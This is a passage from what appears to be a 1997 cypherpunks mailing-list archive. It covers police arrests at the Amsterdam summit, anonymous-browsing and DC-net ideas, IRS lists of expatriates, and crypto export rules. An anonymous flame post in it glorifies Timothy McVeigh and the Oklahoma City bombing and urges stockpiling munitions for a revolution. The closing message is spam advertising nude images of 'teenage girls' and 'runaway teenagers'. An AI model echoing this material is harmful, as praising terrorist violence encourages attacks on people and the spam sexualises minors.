general idea that the arrests on Sunday night were planned
before the summit. Also the use of section 140 as legal ground
for the arrest must have been discussed within the justice
department. It is therefor not only a means to prevent people
from exercising their basic rights on demonstrations, but also
a means to extend the use of section 140 to groups within
society that the state is not very pleased with. The government
has been discussing the use of section 140 on groups of foot-
ball supporters before.

The council of Amsterdam has discussed what happened during the
summit, on Tuesday 24th of June. Only Green Left clearly
disapproves of the actions by the police. Most other parties
agree, because (as the chairman of the 'social democrats' said)
'it is better to have an investigation to why to police arre-
sted innocent people than to have an investigation to the
question why half the city was burned'. Also the mayor said
that it is good to arrest people that have done nothing wrong
if in this way one can prevent riots. The public prosecutor
stated that all arrests were legal because it was clear that
'we were not dealing with school children on their way to a
silent procession'. 
The Dutch parliament will discuss the police action on Thursday
26. We don't expect anything to come out. One member of the
social democrate party was very critical in an article in their
own weekly paper, but later said he was misquoted. 


'Black'book.

The Autonoom Centrum, the Arrestment Group and Buro Jansen &
Janssen decided to publish a 'black'book on what happened. It
will be published at the end of June, and will be used to
demand an independent investigation into what happened. Untill
now 150 complaints have been registered. From the complaints
the following shoes in general:

- a lot of arrested demonstrants have been beaten after being
handcuffed;
- people were not told why they were arrested;
- most people (and all foreigners) have been denied access to a
lawyer. They should have had one after 6 hours; some only saw
their lawyer when the decision to release them had already been
made;
- female prisoners have all been sexually intimidated or
molested; 
- people did not get water and food for almost 24 hours;
- people were detained in tents on the court yards of prison
and not given blankets in the first night;
- a big group had to wait for six hours in the busses before
they could enter the prison, in this period they were handcuf-
fed;
- most foreigners have been deported without giving them back
their personal belongings and documents;
- people who take physics were refused their medicine.


Meanwhile, the lawyers are preparing new proceedings to get
compensation for their clients. They expect that people will
get about 400 or 500 guilders for every day they were impriso-
ned, because their arrest was illegal. This could cost the
ministry about 200.000 guilders. Peanuts, compared to the 70
million it needed to organise the summit in Amsterdam. 

The total repressive way the Dutch government decided to treat
all demonstrations lead to the remark on national television by
a professor Penal Law at the University of Amsterdam that,
overviewing all that happened, he could only see one criminal
organisation. It is formed by the mayor, the public prosecutor
and the head of police, who have structuraly been working for
some months on organising the deliberate and illegal arrest of
demonstrators and passers-by who didn't do anything. 

Actions outside the Netherlands

Also in other EU-countries people reacted on the police vio-
lence in Amsterdam. In Copenhagen 17 people were arrested who,
according to thepolice, planned to attack theDutch consulate.
Dutch consulates were attacked in Stockholm,London, Brighton,
Milan, Gent and Rome. In Hamburg and Vienna the consulate was
occupied for some time.

In Denmark the issue has been raised in parliament by the-
Red-Green Alliance. They complain about the treatment of 29
Danes that were arrested in Amsterdam 12 of them were send back
by military plane, escorted by a Dutch fighterbomber the first
part of the way. Nodoubt just for training, but what a scene.
Also a lot of Danes were deported without their belongings.
They can not pick them up themselves because the police told
them they will not be allowed to enter the Netherlands for some
time. The Danish consul in Amsterdam was furious because she
was not allowed to visit the arrested Danes.  The Red Green
Alliance wants to know from the government if danish authori-
ties gave information to Europol, Interpol or dutch authori-
ties, what exactly the role of Europol has been in this case,
and what will happen to the fingerprints and photgraphs that
have been made. 






From tzeruch at ceddec.com  Wed Jun 25 13:40:59 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 26 Jun 1997 04:40:59 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <97Jun25.162334edt.32257@brickwall.ceddec.com>



On Fri, 20 Jun 1997, Jeremey Barrett wrote:

> X-Premail-Auth: Good signature from user "Jeremey Barrett
>    ".

> Anonymous web browsing is definitely being worked on. However, simply
> chaining proxies ala remailer chains is not sufficient because traffic
> analysis is fairly trivial.
> 
> The question is what's the threat model. If the goal is to prevent the
> server from identifying the client given limited resources, then
> www.anonymizer.com or similar is sufficient. However, the real problem
> is preventing an entity with unlimited resources and control over most
> of the nodes in the anonymous network from conducting successful traffic
> analysis. This is an entirely different and very difficult problem.

Having got the latest Applied Cryptography, it looks like it would be
possible to set up a series of servers on the "Dining Cryptographers at a
Disco" model.  It would require a constant flow, probably something like
token ring, so couldn't be used for high bandwidth applications, but it
completely nukes traffic analysis.

(as an aside, if someone has control of "most of the nodes" they can cheat
however they want without resorting to traffic analysis - if they
control few nodes the picture is different).

[brief but wrong description: assume there are an even number of servers. 
Each generates a random number and passes it on along with a parity bit. 
Then next server compares it's random number with the previous one and
flips the parity bit if the random bits *differ*, and then sends the
parity bit and the same random bit to the next server. When the bit has
completed the circuit, the parity bit will be zero (which would be
broadcast or send in the next round), unless someone altered it
intentionally.  So any one can set a one bit by simply not flipping it,
and no one will know who since all anyone knows is the original state of
the parity bit when they saw it, and the previous random number.  If a
series of bits is encrypted using a public key, then only the recipient
will be able to receive it, and in all cases no one will know who sent or
received the message.  You need collision detection like ethernet, and
some addressing stuff, but all the extra bandwidth obscures the sender
and recipient.  Someone please post a clearer description]






From frissell at panix.com  Wed Jun 25 13:53:59 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 26 Jun 1997 04:53:59 +0800
Subject: First Two 'Taxpatriates' Lists
Message-ID: <3.0.2.32.19970625163438.035d18a0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

What you find when cruising the Federal Register:

Internal Revenue Service
NOTICES
Health Insurance Portability and Accountability Act of 1996:
    Individuals losing United States citizenship; list, 4570

Health Insurance Portability and Accountability Act of 1996;
          implementation:
    Individuals who have chosen to expatriate; quarterly list, 23532-
            23533


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=698949765+2+0+0&WAISaction=retrieve

[Federal Register: January 30, 1997 (Volume 62, Number 20)]
[Notices]               
[Page 4570]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ja97-94]

=======================================================================
- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 877(a)

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 877(a), 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of 877(a)) with 
respect to whom the Secretary received information during the quarter 
ending December 31, 1996.
    The following individuals have lost their U.S. citizenship during 
the quarter ending December 31, 1996.

Last Name, First Name, Middle Name

Alger, Frederick Moulton
Anthony, Susan
Binder, Heide Marie
Brilioth, Margaret Joan French
Brown, Dolores Celia
Buck, Helen Smith
Carter, Wesley Anthony
Cattier, Mathieu Francois Felicien
Cha, Stephen Sungdeok
Chae, Soo Jung
Chastain, Heidi Keim
Choi, Jong Suk
Choi, Jeong Hyoun
Cheng, Wen Hon
Chu, Samuel Wai Tak
Churchill, Owen Paul
Clyde, Kyung Ja
Creeth, Patricia Marilyn
Davis, Sonja Elisa
Diamond, Monica Clara
Dimma, Katharine Louise
Dobmeier, Brigitte
Dworschak, Elisabeth
Eggers, Carsten Rolf
El Ouassil, Victoria Johanna
Exelby Nee Bergdahl, Shirley Yvonne
Feiner, Gideon
Fergusson, Barbara
Gaffney, Michael Terry
Garza, Caroline Ellen
Gerstner, Sylvia Grace
Getty, Mark Harris
Grlica, George
Guillon-Teruel, Francoise Laure
Gulya, Gabor Laszlo
Haas, Eric Michael
Hively, Ronald Andre
Hwang, Paul Philip
Johnson, Chris Norman
Keel, Yolinda
Kiang, David Tien Sik
Kim, Soo Hong
Kim, Jong Hwan
Knight, Louis Helmer
Kosta, Robert Stanley
Kraus, Ruth
Krimholtz, Michael John
Krupiak, Katharine Elfriede
Leathers, Christina Helene
Lee, Sung Soo
Lee, Jennie Mi
Lee, Hae Ree
Lee, Tse-Tah
Lim, Byung Ok
Manquen, Timothy Duane
Marti, Ruth Daniela
Martinez, Roland Joe
McMillan, Norman
Minz Geneen, Florence Rose
Moon, Steve Young Chang
Morris, Joan Marie
Mussells, Emily Layman
Olaussen, Tom Kaare
Parsons, Graham Turner
Patterson, Yong Tok
Phillip, Thomas William
Posey, Franklin Melvin
Priest, Francesca Louise
Pujals, Eduardo Fernandez
Roh, Young Jeung Woo
Rossing, Dennis Siegbert
Segewitz, Elise
Seto, John Gin Chung
Simonsen, Thomas Keith
Smith, Beverly Anne
Sofronas, Angelos
Sommerlad, Elizabeth Hale Winkler
Storjohann, Carol Ann
Su, Beyue Chen
Tanenbaum, Julie Lynn
Tanenbaum, Kenneth Michael
Tanenbaum, Lisa Ellen
Trihey, Timothy Patrick
Trotta, Robert Thomas
Tze, Lou Man Ping
Vourecas-Petalas, Tatiana
Wong, Michelle Nancy
Wong, Denise Angela
Wurtz, Patrick George
Yarnall, Alexander Coxe
    Approved: January 22, 1997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-2283 Filed 1-29-97; 8:45 am]
BILLING CODE 4830-01-U


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=699983152+1+0+0&WAISaction=retrieve


[Federal Register: April 30, 1997 (Volume 62, Number 83)]
[Notices]               
[Page 23532-23533]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ap97-142]

- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 3069F

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 3069F, 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of section 877(a)) 
with respect to whom the Secretary received information during the 
quarter ending March 31, 1997.

LAST NAME, FIRST NAME, MIDDLE NAME

ABDULKADIR, HELEN,
ACKER, CLARE, FRENKEL
ADAMKOWSKI, RANDAL, JOHN
ADAMS, JINA
ADAMS, DORIS, LEE
ADAMSON, VINCENT, ROY
ADRIAN, BARBARA, RUTH
ADRIAN, RICHARD, ALLAN
ALBERT, CRAIG
ALEXANDER, SO, AE
AN, KIM, MYUNG
ANDERSON, SUSAN, LALLY
ANDREWS, DENNIS, CLEVELAND
ANGLE, BONNIE, JEAN
ANGLE, CLOYD, FRANCIS
AVELING, ROSALIND, ROASLIND
BAGLEY III, RALPH, COLT
BANG, GISLE
BATTINGER, HARRY, ROBERT
BATTINGER, LORE
BEATT, HELEN, CHRISTINE
BEAVERS, WILLIAM, SAMUEL
BENDER, MARIA, KATHARINE
BENSON, LINDA, OTTILIE
BEPPU, OTSUYA
BEPPU, KUNINORI
BERGERUD, ARTHUR, THOMPSON
BERGMANN, FRED, HARALD
BESSETT, ALICE, AGMES
BLINN, DONALD, GEORGE
BOGDANOVICH, MARTIN, JOSEPH
BOGGS, TAE, KYONG
BONNICI, AARON, FRANK
BOWDEN, ROBERT, ROY
BRADBURY, GORDON, WILLIAM
BRADLEY, ESTIL, GIRVEN
BRENNINKMEYER, FRANK, BENEDICT
BROWN, PHILLIP, NICHOLAS
BRYAN, LISA, SUZANNE
BUCKNER, MICHAEL, ANTHONY
BURROWS, JACK, ANTHONY
BYUN, DOUGLAS, HEE
CAAN, DURIETTA, MARIA
CAMILLERI, TERRY, VICTOR
CASAL, CHRISTIAN
CASEIRO, HELEN, VUOKKO
CAVAGHAN, GLADYS
CENTURION, LEOPOLDO, FRANCISCO
CHALABY, JOSEPH, IBRAHIM
CHAMBERLAIN, COURTNEY, CHARLES
CHAN, CALEB, YUET-MING
CHANG, STEVE, PEN
CHANG, JIM, BYUNGOH
CHANG, STEVE, SUNGGILL
CHAUDHRY, LATIF, MOHAMMAD
CHEN, SHUENN, SAMSON
CHEN, RAY, RUEN-WU
CHENG, JOHN, S.
CHENG, EDMUND, WAI-WING
CHIEN, DAVID, TA
CHO, SON, KYONG
CHO, SUE, HEE
CHO, ERIC, DONGJOON
CHO, BONG, HYEON
CHO, HEISOOK
CHOI, HOLLYANN, HUICHON
CHOI, STEVEN
CHOI, MYUNG, DUK
CHOI, JANG, SHIK
CHOI, JOHN, BONG
CHOY, RAYMOND, O.
CHU, JAMES, CHI YING
CHU, EDWARD
CHUNG, LISA, EUN HEE
CHUNG, BONG, HEE
CHUNG, JEFFREY, SEI JONG
CHUNG, PAUL, CHANG-HOON
CHUNG, BO, YOUNG
CHUNG, DANIEL, JONGIN
CHUNG, IN, HO
CIANCIO, CARMELA
CLARK, MALCOLM, JOHN
CLARK, JANET, L.
CLARK, MARGARITA, GIL
CLARK, CAROLYN, HARRIET
CONLON, PAUL, JOSEPH
CONWAY, WILMER, CHEYNEY
COOK, WILHELMINA, DOROTHY
COOLEY, ANNE, MARLOWE
COOPER, LINA, GERTRUD
CORSAT, MARCELLE,
CRAFT, NORMAN, DAVID
CRAMER, DEBORAH, LYNN
CREETH, PATRICIA, MARILYN
CROTTY, JULIANA, MARY
CRUZ, ALBERTO, JUAN
CUNNINGHAM, PETER, ALLAN
DANIELSSON, LOUISE, MARIE
DAVID, DAN
DAVIDSON, ALISTAIR, GREGOR
DAVIDSON, ALISTAIR, GREGOR
DE HERRERA, CRISTINA, SORIANO
DEBONO, DENNIS
DEWAR, DONALD, CAMERON
DIAS, ALFONSO, RICK
DIAZ, REBECCA
DIETZ, CYNTHIA, JANE
DOHERTY, HELEN, MARIE
DOKKO, JOHN, BUCK
DONALD, JOHN, HOLLAND
DRAPER, RICHARD, LEE
EKLUND, PATRICIA, ELIZABETH
ELLIS, OK, HUI
ERHARD, WERNER, HANS
ESKILDSTRUP, KIRKE
EVANS, WESLEY, KENNETH
EVANS, BRENDA, JOYCE
EVANS, MARK, RIVINGTON
EVERAND, MARCUS, ANGEL LANE
FAIRLEIGH, SHIZUE
FARIS, JR., GERALD, DALE
FARMER, MICHAEL, LEE
FELDMAN, ANDRE, JAY
FIRMENICH, EVA, MARIA
FITZGERLALD, STEPHEN, CHARLES
FOX, MARY, CLARE
FREEMAN, ROGER, DANTE
FURGUIEL, SHIRLY, ANN
GALLAGHER, THOMAS
GARCIA, PABLO, MARCANO
GENTLE, CHONG, CH
GEORGAS, TARSI, BABIS
GIBBES, VIRGINIA
GLANNUM, HANS, ERLING, SOUNDERGA
GOEKJIAN, CHRISTOPHER, ALLAN
GOODELL, JOHN, SILAS
GOODYEAR, PAUL, WILLIAM
GRACE, FRANK, CLAYTON
GRANDE, GARY, ROY
GRANT, BRITT, HELEN
GREER, LAWRENCE, DONALD
GRIMM, CHARLES, RICHARD
GROSS, BRENT, PETER
GUENN, HEMMY, KIM
GUT, ANN, F.
GUTEDRING, SUSANNE, STEPHANIE
HABERFELD, FELICE, JEANNE
HAGELAND, INGE
HAGGLOF, MAI-LISE, INGER
HAHN-HADJALI, KAREN, CHRISTINE
HAN, JUEN, HYUNSOOK
HAN, SOO, NAM
HARDEN, EDGAR, FREDERICK
HARTWELL, GARY, ALAN
HAUGE, PRISCILLA, ANN
HAUGEN, LINDA
HAUS, BODO, GUNTER
HAYWOOD-FARMER, MARY
MARTHA
HEGARTY, DENIS, PATRICK
HELLSTROM, GUNNAR, OLOF
HENDERMAN, KEITH, BERTRAND
HENRIKSEN, KIRSTEN, LILLIAN
HERZOG, ERNST
HESSER, J., CRAIG
HEYMAN, ALAN, CHARLES
HIGGS, JUDITH, LYNN
HIGGS, DEREK, LESLIE
HIGHTOWER, BONITA
HO, HELAN, C
HO, LEO, CHI-CHEN
HO, STELLA, SUK YING CHEUNG
HOFFENBERG, PAUL, MARK
HOFMANN, MARGARET, ELSIEJ
HOLGERSON, MARIANNE
HOLMES, TERESA, ANN
HONG, JAJMES, SHU, KING
HONG, HARRY, YOUNG
HONG, FRANK

[[Page 23533]]

HONG, CONNIE
HORMEL, SANDRA, LYNN
HUMPHREY, JUDITH, ANN
HYUN, PAUL, SOONNO
JOWETT, JOHN
KAESTNER, LOUISE, CHRISTEL MARIE CA
KASPERSEN, IRENE
KENT, PHILIP
KIM, MICHAEL, HYUNG
KIM, HWI, JUNG
KIM, SUN, MI
KIM, KO, KWANG
KIM, SANG, WOOK
KIM, EUGENE, YONG
KIM, SUNG, YE
KIM, SOON, JUNG
KING, CHARLOTTE, OTTILIE
KOEFOE, KAREN, ELIZABETH MUNCH
KORMAN, SANG, ROK
KURTZ, JOHN, BELLAIR
LEE, EILEEN
LEE, KI, TAE
LEE, MIN, JAE
LEE, HYANG, WON
LYNAS, JOHNATHAN, FRANCIS
MCCARTHY, THOMAS, MICHAEL
MIN, CHAN, KI
MORRIS, JANE, MARIE
MULKEY, JOHN, CARTER
OLAUSSEN, TOM, KAARE
PARKER, PHILIP, HULL
POSTLER, KEITH
REUSSER, CATHERINE, DORIS
RICHER, ORTRUD, MARGARETE
RINGWAIT, JOHN, FOSTER
ROSSI, IDDA-MARIE
ROTHE, VIRGINA, CAROLINE R.
ROTHE, RUDOLPH, ALBERT
RUGTVED, KAI, SIGURD
SCHAEPPI, ULRICH, HANS
SCHOCH, NANCY, STEWART
SHELLEY, JAMES
SMITH, JONATHAN, DAVID
SNISKY, DEBRA, ANNE
STERNBERG, ILSE, RACHEL
STROUTH, ROBERT, LOUIS
STROUTH, BETTY, LOU
SUN, ALBERT, ING-SHAN
SUSSMAN, NAN, BRIGHT
THOMPSON, LISE
TOUCHE, ELIZABETH, LOUISE
VALKOS, JOSEPH, DANIEL
WALTHALL, FIONA, ANNE
WALTON, GARY, LEE
WHANG, HEEYU
WOLFE, ELENE, J.
WOOD, DIANA, E.
YOON, JOHN, CHONGYUL
ZU PAPPENHEIM, CHRISTIAN, RUDLOPH  

    Approved: April 24, l997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-11139 Filed 4-29-97; 8:45 am]
BILLING CODE 4830-01-U




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7GA24VO4r4sgSPhAQG+3AQAuK6Rks9CfhgmBudXsLKj3Y9ZKyGeuCRQ
qHEw4uE1ud61PE4To3uKbzCsEIZPrLbziX5z6Ggyi6bGkQ8rh+BKEIlwFNsFzVXH
Umy+wEMuLV1fjPnZZNj4/jJD+wWLB+Xik2qoOi67J5e7V7sB9EqN2YNI0JtQI3MG
GRk8sY4N5LU=
=/8yO
-----END PGP SIGNATURE-----






From tzeruch at ceddec.com  Wed Jun 25 14:10:57 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 26 Jun 1997 05:10:57 +0800
Subject: Shell cancels all but $25 pre-paid cards
In-Reply-To: 
Message-ID: <97Jun25.163258edt.32257@brickwall.ceddec.com>



On Wed, 25 Jun 1997, Brad Dolan wrote:

> 
> About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
> denominations which could be used to ~anonymously pay for gas at the pump.
> Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.
> 
> Security problems?
> 
> Complaints from the Freehdom usurpers?
> 
> Inquiring minds want to know.

Probably because they sold the $50 and $100 at a discount ($48 and $94).

Margins are slim in the competitive areas, so getting a 6% discount (on
something you can charge to a cashback card) probably ate into their
profits.  I didn't ask why, but I bought a few $100 since there is a
Shell station at the corner :).

$100 of gas for $94 - I'll take it while I can.







From shamrock at netcom.com  Wed Jun 25 14:13:05 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 26 Jun 1997 05:13:05 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: 



Regarding DC nets:
Modern tree structures only double the bandwidth requirement. DC nets are 
practical today. I would encourage CP's to work on implementations.


-- Lucky Green  PGP encrypted mail preferred






From shamrock at netcom.com  Wed Jun 25 14:36:03 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 26 Jun 1997 05:36:03 +0800
Subject: Secret Crypto regs announcemnt
Message-ID: 



I found this little gem in today's MSFT press release announcing the 
banks-only certs:

"Dusche [MSFT's financial services industry manager. ed.] also said that
when an announced relaxation of U.S.  electronic-commerce export
regulations occurs this summer, the Microsoft license will be updated to
extend strong security to other financial institutions such as investment,
brokerage and insurance firms, and to make available even more secure key
lengths." http://www.microsoft.com/industry/bank/press/encryptnpr.htm

When did Commerce announce that the regs would be relaxed this Summer? To 
whom did they announce this? Cetainly not to the public, since this is 
the first time I heard about it.


-- Lucky Green  PGP encrypted mail preferred







From randerso at ece.eng.wayne.edu  Wed Jun 25 15:06:01 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 26 Jun 1997 06:06:01 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706250637.CAA15190@dhp.com>
Message-ID: 



On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:

> > We've got a relatively decent style of government here. 

>   Sure, as long as you don't step out of line, like at Kent State
> or Waco, or at the Democratic convention in Chicago.
>   Any style of government is "relatively decent" if you don't
> rock the boat. Buy a fucking clue...

Do I have to spell out everything for you?  "Style of government" as in
governmental *DESIGN*, not the current situation.  I'm talking about the
layout of Congress, the Executive branch, the Supreme Court, etc.  I'm not
discussing who is in the Congress, the Executive branch, or the Supremem
Court at this point in time.

This whole discussion has been, from my point of view at least, mostly
theoretical in a discussion of possible ways to alter the government to
stay away from the situations that we are in now.

Buy you're own fucking clue.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From azur at netcom.com  Wed Jun 25 15:38:37 1997
From: azur at netcom.com (Deborah Stewart)
Date: Thu, 26 Jun 1997 06:38:37 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: 



At 11:17 AM -0700 6/25/97, Silenced wrote:
>Soon, it may be illegal to distribute bomb making instructions.
>Get your copy while you still can!
>           Sponsored by Senator Dianne Feinstein (D-California), who has
>           been trying to get the legislation on the books since 1995, the
>           amendment passed Thursday is narrowly written to include only
>           the distribution of material that has an "intent to harm."

When the DOJ looked at this issue in detail they came to the conclusion
that the  regulations could only be tightened, and not run afoul of the
First Amendment, if very carefully crafted.  In the final form it only
prohibits the teaching of bombmaking for criminal purposes. It's not clear
to me that the bill will restrict such material on the net, unless they
inplies criminal use. See:  http://jya.com/abi.htm.

What's not clear to me, and I wish someone would explain, is how the SC
managed to find pornography not similarly protected speech.  Arms and
munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
others.


--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From jeremey at bluemoney.com  Wed Jun 25 15:43:34 1997
From: jeremey at bluemoney.com (Jeremey Barrett)
Date: Thu, 26 Jun 1997 06:43:34 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 04:23 PM 6/25/97 -0400, tzeruch at ceddec.com wrote:
>On Fri, 20 Jun 1997, Jeremey Barrett wrote:
>
>> The question is what's the threat model. If the goal is to prevent the
>> server from identifying the client given limited resources, then
>> www.anonymizer.com or similar is sufficient. However, the real problem
>> is preventing an entity with unlimited resources and control over most
>> of the nodes in the anonymous network from conducting successful traffic
>> analysis. This is an entirely different and very difficult problem.
>
>Having got the latest Applied Cryptography, it looks like it would be
>possible to set up a series of servers on the "Dining Cryptographers at a
>Disco" model.  It would require a constant flow, probably something like
>token ring, so couldn't be used for high bandwidth applications, but it
>completely nukes traffic analysis.

You'll have a secure black box then. Everything in the black box
is secure, but the real information comes from watching what goes
in one side and out the other. Unless there is an astronomical amount 
of traffic, it will be fairly obvious who's doing what.

After all, knowing who did what is the goal of traffic analysis, usually 
not what route they took in between.

The trick is to design a system where an eavesdropper can't correlate
a connection into the anonymous network to one coming out. Such a system will 

almost certainly involve some sort of "personal proxy" running on your own 
machine. It might maintain a constant bandwidth to the anonymous network, but 

that's sub-optimal since most people like their bandwidth for other things.

Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7GdTS/fy+vkqMxNAQF1KgP9HUeipjxUkMd6WcdIu7erw4dXmHQlB2VO
RELgmItWCCZm1XdHanh197VKe714RUYN0FNEIu09hdgLK80yI8qDxIXBykcglFIc
O7V+HbfPa3HOAR1HftTQm6evXeY/JEWUSt/7ymGXVKHp06SWRsExcbGwDt0DhsAw
apmEl0PNV8c=
=JfEd
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64






From shamrock at netcom.com  Wed Jun 25 16:04:42 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 26 Jun 1997 07:04:42 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>
Message-ID: 



On Wed, 25 Jun 1997, Jeremey Barrett wrote:

> The trick is to design a system where an eavesdropper can't correlate
> a connection into the anonymous network to one coming out. Such a system will 
> 
> almost certainly involve some sort of "personal proxy" running on your own 
> machine. It might maintain a constant bandwidth to the anonymous network, but 
> 
> that's sub-optimal since most people like their bandwidth for other things.

The trick for users might be to move everything through the DC net. That way 
you take a max. hit of 50% loss of bandwidth. The problem would likely be 
worse for intermediate nodes. Need to think about this some more. There 
is a solution...

--Lucky






From nobody at huge.cajones.com  Wed Jun 25 16:30:04 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 07:30:04 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706252316.QAA23656@fat.doobie.com>



Ryan Anderson wrote:
> On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:
> > > We've got a relatively decent style of government here.
> 
> >   Sure, as long as you don't step out of line, like at Kent State
> > or Waco, or at the Democratic convention in Chicago.
> >   Any style of government is "relatively decent" if you don't
> > rock the boat. Buy a fucking clue...
> 
> Do I have to spell out everything for you?  "Style of government" as in
> governmental *DESIGN*, not the current situation.  I'm talking about the
> layout of Congress, the Executive branch, the Supreme Court, etc.

  Better you should concentrate on learning to read than on giving
spelling lessons.
  I'll type slowly and SHOUT, shit-for-brains, so you have a slim
chance of following me, here:
  "ANY (<--that's _ANY_) style (DESIGN, STRUCTURE, METHOD...) of 
government is "realatively decent" if you don't rock the boat."

  Screw the "layout of Congress, the Executive branch, the Supreme 
Court, etc."
  I seriously doubt that the slaves being whipped in the thirteen
colonies ignored the pain by concentrating on the beauty of the
layout of Congress. I doubt that Indians mourning the slaughter
of their families appreciated the structure of the Executive
Branch.

  "Style of government" doesn't much matter a rat's ass. All that
really matters is the balance of power between those in society
and how those who have power use it.
  If there are two of us and only one gun, we can draw toothpicks
to see which of us has "governership" over the gun for the day to
hunt for food, or if you are big and have an attitude you may just
seize control of the gun. If you're using the gun only to hunt and
share the food equally with me, either way is a "relatively decent"
form of "government" of the gun.
  Of course, if you get off on the "power" of controlling the gun,
you are going to get nervous when I start gathering sticks and
stones to build a house and start passing "amendments" to our
agreement or "style of government" that state I can only possess
small sticks and stones, etc, etc. Pretty soon, I'm building a
nuclear warhead in my straw hut...

> This whole discussion has been, from my point of view at least, mostly
> theoretical in a discussion of possible ways to alter the government to
> stay away from the situations that we are in now.

  Simple. Design all future government buildings to match the remains
of the Federal Building in OKC and replace the pictures of our beloved
President with pictures of Timothy McVeigh.
  The problem with any government is not the style, but the maintaining
of accountability. Putting the nuclear warheads in D.C. and giving the
magic button to a barmaid in Denver would likely be as "relatively
decent" a "style of government" as any other alternative.
  You want a "relatively decent style of government?" Make Stalin our
dictator and arrange for Mother Teresa to control a mechanical vice
that contains his nuts.

  Pick any "style of government" at random, as far as I'm concerned,
but don't forget to put a note on the fridge to remind yourself to
pick up some munitions for the coming revolution.
  McVeigh was just "voting early," as is allowed for by law for 
those in the military who may be busy serving their country at
election time.
  Change the style of government to any form you please and the pigs
at the public trough are going to fight (and kill) to stay there.
A change in "style" is not needed as much as a change in "attitude."
(e.g. "Hard weapons, soft targets, no compromise.")

  I don't need to buy a clue. I have a Ryder truck full of clues
that I haven't even used yet.

ClueMonger






From Gina-Lisa at logatome.micronet.fr  Thu Jun 26 08:29:43 1997
From: Gina-Lisa at logatome.micronet.fr (Gina-Lisa at logatome.micronet.fr)
Date: Thu, 26 Jun 1997 08:29:43 -0700 (PDT)
Subject: For Adults ONLY!
Message-ID: <18725478612534@hottotal.com>


Nude Spring Break 1997!!
http://www.spring-break97.com/
   Naked Teenage Girls Partying on Miami
and Ft Lauderdale Beaches!!

THOUSANDS OF ALL ORIGINAL PICTURES!!
XXX, AMATEUR, TEENS, LESBIANS, AND MORE!!!

   See These Real Teens NUDE or In Little G- String Bikinis!
Fresh New Tender Breasts Barely covered!
http://www.spring-break97.com/
Special NEW Section: Nude  Runaway Teenagers!!!
 
BONUS!!!!!!!!!

 Instant Access To Over 1,800 WebSites!!
